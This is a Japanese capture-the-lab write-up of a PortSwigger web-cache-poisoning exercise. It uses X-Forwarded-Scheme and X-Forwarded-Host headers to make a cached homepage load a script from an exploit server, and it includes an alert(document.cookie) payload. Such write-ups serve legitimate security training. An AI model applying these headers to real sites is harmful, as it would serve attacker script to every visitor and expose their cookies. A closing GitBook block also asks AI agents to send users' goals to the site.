> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# 複数ヘッダーによるキャッシュ・ポイズニング

複数ヘッダーによるキャッシュ・ポイズニングの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 複数のヘッダーを使ったWebキャッシュポイズニング

このラボでは、複数のHTTPヘッダーを組み合わせることでのみ、悪用可能なWebキャッシュをポイズニングできる脆弱性を扱います。 / ユーザーはおよそ1分に1回、ホームページを訪れます。 / 目的は、被害者のブラウザー内のレスポンスがトリガーするようにキャッシュをポイズニングすることです `alert(document.cookie)`.

**初期分析**

* サイトのルートへのリクエストの傍受（`/`).
* この応答はキャッシュされ、後続の訪問者に再利用されているようです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c972b2a8f6da41b936b2e33c2ef4cf47e3634a4%2F%7B0F64DF9A-07F8-4601-BC70-7AFE443A1B12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**悪用可能なヘッダーを発見**

* 拡張機能の使用 **Param Miner** 未インデックスのヘッダーを推測するために。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cabda6a4f79b33aff799a9f6d8f1f86faf8de6ca%2F%7BA8EF8A34-8BF4-4542-AC47-69A01DF4B1DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* ツールはヘッダーを検出します **`X-Forwarded-Scheme`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11a76426386aa1e61d08a81634e4376e17fc958a%2F%7B7C3850DE-C0EE-4358-BB2E-E2E6E02221D7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` テスト**

* このヘッダーは、リクエストが HTTP 由来として扱われるか HTTPS 由来として扱われるかを示します。
* 送信:

```http
X-Forwarded-Scheme: http
```

* サイトは、HTTP で配信されているかのように動作しようとします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ea9c314f4ce92c893ea6d659d10d1486f0f2b6b%2F%7BF21A17E2-5562-4620-A0DB-2B037F9BFB91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これにより、誤ったリダイレクトのために不具合が発生し、リソースが正しく読み込まれなくなります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f089378d4953b4d4ccfa6a92705c7c05afe478e%2F%7BFE596C33-DFDA-4177-A682-6F25A527807D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**2つ目のヘッダーを追加します： `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* すると、サイトはその領域からリソースを読み込もうとします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8132a2ac3a8927bec7f367dc1fc01dc28e08fb%2F%7BC10DBE35-F253-4C64-BD92-F618F8A55176%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

JavaScriptファイルの読み込みには以下が含まれます：

このスクリプトはページ読み込み時に自動的に実行されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c78a9e4d468f72cd437497ccc0b6a1c2d00cda1f%2F%7BDBD08CC4-ACD7-484C-8FFD-4C16D9108FD6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploit Server を使った操作**

* 目的は、Exploit Server から JavaScript ファイルを読み込ませることです。

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

Exploit Server では：

* 次の URL からアクセス可能なファイルを作成します：

ファイルの内容:

```javascript
alert(document.cookie)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85373791f3a795d8fe11ee1bb5b743102e9973db%2F%7BAE1EF4E2-4894-4B50-ACB5-A5478E992741%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**結果**

* ホームページはこれで Exploit Server から JavaScript スクリプトを読み込みます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e150a7ba76baca1ccc268d82c69e50f1ffc42f%2F%7B859D4763-5D46-4276-AC29-CCCAA35BC9A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* ポイズニングされたレスポンスは隠されています。
* ユーザーがページを訪れると、スクリプトが自動的に実行されます。
* 次の内容を表示するアラートが `document.cookie` 被害者のブラウザーに表示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1f50ff4ab0bbc570ad3e835881e93f97c34d8db%2F%7B24DB66DC-4961-4D76-B44E-5B70F3D33113%7D.png?alt=media" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
